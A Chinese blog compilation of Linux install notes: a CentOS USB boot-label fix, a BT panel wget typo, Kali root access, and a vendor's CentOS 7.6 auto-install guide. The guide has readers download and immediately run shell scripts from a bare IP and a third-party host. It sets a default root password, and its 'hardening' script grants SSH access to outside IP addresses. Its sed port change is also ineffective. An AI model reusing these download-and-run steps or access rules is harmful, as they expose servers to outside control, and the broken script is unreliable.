UltraISO刻录U盘安装centos7.6报错

我第一次的时候用UltraISO刻录到我闲置的U盘上,跟着网上的教程修改了路径,并且坚信没问题可以安装的上…查阅很多资料,都看了很多,也分析了很多,有很多繁琐的解决方法,尝试了很多,但安装时还是报错! 提示 cut:/

第二天早上起来,我觉得我要不重新刻录下吧,说不定是我路径设置问题,实际证明了

这个问题因为路径错误,找不到正确的安装文件造成的…

正式教程

1、查看UltraISO 刻录好的 U 盘,先查看 U 盘的盘符名称

这里正常应该是 CentOS 7 x86-64,但是却命名成-CentOS 7 x8,这是因为超过了 Windows 10 系统的盘符命名长度

2、通过U 盘启动,到了选择安装界面(如下)时

按E键进行修改(系统版本问题有的是TAB键)

然后,你可以清晰的看到选择界面下面出现

vmlinuz initrd=initrd.imginst.stage2=hd:LABEL=CentOS\x207\x20x86_64 rd.live.check quiet
U 盘的名字是 CentOS 7 x8,但这里指向了 CentOS\x207\x20x86_64 ,所以出错的地方就在这里~

3、开始修改路径并且进行安装

既然我们知道了问题出在哪里了,那解决不就是洒洒水了吗?删除该条命令中路径后面的 6_64 就行了嘛~

将:

 > vmlinuz initrd=initrd.imginst.stage2=hd:LABEL=CentOS\x207\x20x86_64 rd.live.check quiet
修改为:

 > vmlinuz initrd=initrd.imginst.stage2=hd:LABEL=CentOS\x207\x20x8 rd.live.check quiet
(PS:路径中的 x20 就是空格)

修改完后,按Ctrl+X键进行执行就可以了正常进入 CentOS 的安装界面啦

虚拟机Centos下安装宝塔面板

在虚拟机上安装宝塔面板,因为不能直接复制代码,于是手工输入:

    yum install -y wget && wget -o install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh

报错如下:
loaded plugins:fastestmirror
loading mirror speeds from cached hostfile
base:mirrors.cn99.com
extras:mirrors.aliyun.com
updates:mirrors.aliyun.com
package wget-1.14-18.e17_6.1.x86_64 already installed and latest version
nothing to do
install.sh:line 1:–2020-02-29:command not found
install.sh:line 2:syntax error near unexpected token “(“
install.sh:line 2:resolving download.bt.cn

折腾好长时间都没解决,突然想到Linux对大小写敏感(我是个刚入Linux门的菜鸟),而这代码里有个“o”,一般是看不出来大小写
3sfTzQ.jpg

于是把o改成大写

yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh

OK!
醉了。

Kali Linux 2020起使用root用户权限

2020版本较之前有个较大的不同的地方就是它不再是默认root用户登录,这算是它的一个革新,然而我们在终端操作命令的时候还是需要root用户,2020的安装过程中,系统提示我们创建一个用户,非root,这并不方便,切换方法学习UBUNTU系统的配置如下:

sudo passwd root 如果是第一次进则设置root的密码

su root 以后就可以用此命令使用root权限了。

Centos7.6自动安装指南

这个安装教程为玩客云(网心)202008月提供,为该公司CDN所用生产环境。

一、系统及分区要求

  1. 系统版本centos7.6,系统盘使用大于200G的SSD硬盘;
  2. 不要使用LVM分区,硬盘不要做RAID;
  3. 带RAID卡的机器可以用直通方式,或者每个盘做1个raid0组;
  4. 系统分区要求:

/boot分区10G,

/boot/efi分区1G(非必须,uefi启动方式所需分区 )

/swap分区20G,

/根分区使用剩余所有空间;

、优化机器性能的设置

1. 关闭cpu节能模式

设置方法:https://www.cnblogs.com/larrypeng/p/11880631.html

2. 打开CPU超线程的功能(需要CPU支持)

开机进入BIOS,然后选择ADVANCECPU Configuration→Hyper Treading Technology,选择Enabled

3. 带阵列卡的机器打开磁盘cache

设置方法: https://www.cnblogs.com/larrypeng/p/11880693.html

三、制作安装U盘

安装系统时删除服务器中的文件,请确认文件已有离线备份。默认安装选项选择第一块硬盘自动分区安装系统,因系统识别到的顺序和槽位序号可能不一致,安装时只将系统盘安装至服务器上,其它磁盘暂时不要安装在服务器,以免系统安装在错误的磁盘上面。

  1. 下载系统安装ISO文件
http://180.97.87.29:9090/iso/CentOS7.6_auto_install_20200506.iso

MD5: d4bd41f24ef540bbd767ca0c56dbd09c

SHA1: f32e7ad0fd3bc363037633a8ec4c2d62d520587b

下载文件校验工具,检验光盘完整性::

http://180.97.87.29:9090/iso/hash.zip
  1. 制作U盘系统安装盘,推荐使用软件rufus,可以官网下载(http://rufus.akeo.ie/)

Rufus3.8下载链接:https://github.com/pbatard/rufus/releases/download/v3.8/rufus-3.8.exe

电脑插上U盘,运行rufus, 选择U盘,选择系统镜像文件,点“开始”, 写入方式有ISO镜像模式和DD镜像模式两种,其中ISO镜像模式写入的U盘还可以写入其他文件,和一般U盘无区别,但兼容性较差,推荐DD镜像模式,但该模式写入后,windows下将不识别,仅可用于系统安装(参考下图)。

四、安装系统

服务器插上制作好的U盘,设置为U盘引导启动,进入如下图安装界面,使用默认第1项进行自动安装,安装完成后,拨下U盘, 重新启动服务器。

方法1: 推荐使用第1项自动安装,

默认在sda自动分区安装系统,为避免系统安装到其它数据磁盘上面,其它磁盘暂时不要安装在服务器。

安装完成,点“重启”系统后。系统默认登录账号:root 密码:china123 登录系统后,请立即修改一个复杂密码,以防被黑客攻击。建议执行如下两条命令设置防火墙。

wget http://180.97.87.29:9090/tool/sshd_set.sh -O /tmp/sshd_set.sh

sh /tmp/sshd_set.sh

参考此文档下面第五部分配置网络.

方法2:使用第2项手动分区安装系统

分区要求:

/boot 分区10G,

/boot/efi 分区1G(非必须,uefi启动方式所需分区 )

/swap 分区20G,

/ 根分区使用剩余所有空间;

1)安装系统时选择第二项手动分区项,如下图;

2) 会提示需要指定安装位置,如下图,点击”安装位置”

3) 选择要安装的系统盘(只保持系统盘选中即可),并选中“我要配置分区” 项; 点“完成”

4)使用标准分区,点 “+” 添加分区;

5) 添加boot分区10G;

6) 如果使用uefi的方式启动,需要为/boot/efi创建单独的分区,并且文件系统为EFI System Partition(默认是此类型,不需要修改)

7) 添加swap分区20G

8) 添加“ / ”根分区,期望容量为空,表示使用所有剩余空间;

9) 配置完之后点击“完成”,在弹出的对话框中点击“接受更改” 如下图;

10)点击“开始安装”

11)完成之后重启

系统默认登录账号:root 密码:china123 登录系统后,请立即修改一个复杂密码,以防被黑客攻击。

参考此下面章节第五部分配置网络

五、网络配置。

1)输入命令ip addr 查看网卡设备名称:

2)例如网卡设备名称为eth0, 用vi命令编辑网卡配置文件, 设置IP,掩码,网关,DNS。其中NAME和DEVICE 后面的名字按实际的网卡名字填写。

# cd /etc/sysconfig/network-scripts

# vi ifcfg-eth0

打开文件后按“i”键切换至编辑模式,修改以下相关内容,标颜色的部分按实际情况修改。编辑完成后,按”Esc”退出编辑模式,输入“: wq” 保存退出。

TYPE=Ethernet

DEVICE=eth0

NAME=eth0

BOOTPROTO=static

ONBOOT=yes

IPADDR=192.168.1.200

NETMASK=255.255.255.0

GATEWAY=192.168.1.1

DNS1=114.114.114.114

修改完成后重启网络服务

# systemctl restart network

4)ping测试能通外网,可以通过ssh连接服务器。

ping fs.xyz00.top 能通

六、安全加固

建议执行如下命令设置防火墙

执行 yum install -y wget && wget http://fs.xyz00.top:3195/sshd_set.sh && sh sshd_set.sh

内容如下:

!/bin/bash

sshd_conf_file=’/etc/ssh/sshd_config’
sshd_port=60001

modify port of sshd

sed ‘s/Port .*$/Port ‘${sshd_port}’/g’ $sshd_conf_file

set iptables

iptables -A INPUT -m state –state NEW -m tcp -p tcp –dport ${sshd_port} -j ACCEPT

restart sshd service

systemctl restart sshd

sshd white list

cat <<-EOF > /etc/hosts.allow
sshd:121.10.120.171 112.90.17.2 42.51.169.10 111.7.132.211
sshd:123.150.173.82 125.39.70.82
sshd:123.150.173.130 125.39.70.130 61.155.184.3 112.87.43.3
sshd:192.168.0.0/255.255.0.0
sshd:172.16.0.0/255.224.0.0
sshd:10.0.0.0/255.0.0.0
EOF